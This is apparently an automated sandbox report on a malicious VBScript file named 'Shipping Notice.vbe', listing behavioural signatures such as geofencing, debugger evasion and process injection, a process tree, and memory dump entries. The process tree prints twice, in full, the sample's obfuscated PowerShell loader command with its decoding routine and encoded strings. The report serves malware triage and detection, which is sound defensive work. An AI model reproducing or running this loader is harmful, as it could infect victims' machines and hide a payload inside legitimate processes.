Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/07/2026, 18:45
General
- Target Shipping Notice.vbe
- Size 54KB
- Sample260703-xea4psev3w
- SHA256 c31a0124dbf9e5e7788db730c2253fc131026b904c9a5ccd557487297e04f15f
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Notice.vbe"1⤵
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_mludzpbb.et5.ps1
Remissers.Rvh
memory/1808-35-0x00000000069E0000-0x00000000069FA000-memory.dmp
memory/1808-36-0x0000000007780000-0x0000000007816000-memory.dmp
memory/1808-40-0x0000000008A30000-0x000000000D58D000-memory.dmp
memory/1808-38-0x0000000008480000-0x0000000008A24000-memory.dmp
memory/1808-37-0x00000000074F0000-0x0000000007512000-memory.dmp
memory/1808-18-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/1808-19-0x0000000005630000-0x0000000005C58000-memory.dmp
memory/1808-20-0x00000000054F0000-0x0000000005512000-memory.dmp
memory/1808-21-0x0000000005D50000-0x0000000005DB6000-memory.dmp
memory/1808-22-0x0000000005E70000-0x0000000005ED6000-memory.dmp
memory/1808-30-0x0000000005FE0000-0x0000000006334000-memory.dmp
memory/1808-34-0x0000000007E00000-0x000000000847A000-memory.dmp
memory/1808-32-0x00000000064B0000-0x00000000064CE000-memory.dmp
memory/1808-33-0x00000000064F0000-0x000000000653C000-memory.dmp
memory/2380-2-0x0000021CC59D0000-0x0000021CC59F2000-memory.dmp
memory/2380-1-0x0000021CC3950000-0x0000021CC3960000-memory.dmp
memory/2380-10-0x0000021CC3950000-0x0000021CC3960000-memory.dmp
memory/2380-14-0x0000021CC3950000-0x0000021CC3960000-memory.dmp
memory/2380-15-0x0000021CC3950000-0x0000021CC3960000-memory.dmp
memory/2380-0-0x0000021CC3950000-0x0000021CC3960000-memory.dmp
memory/2380-11-0x0000021CC3950000-0x0000021CC3960000-memory.dmp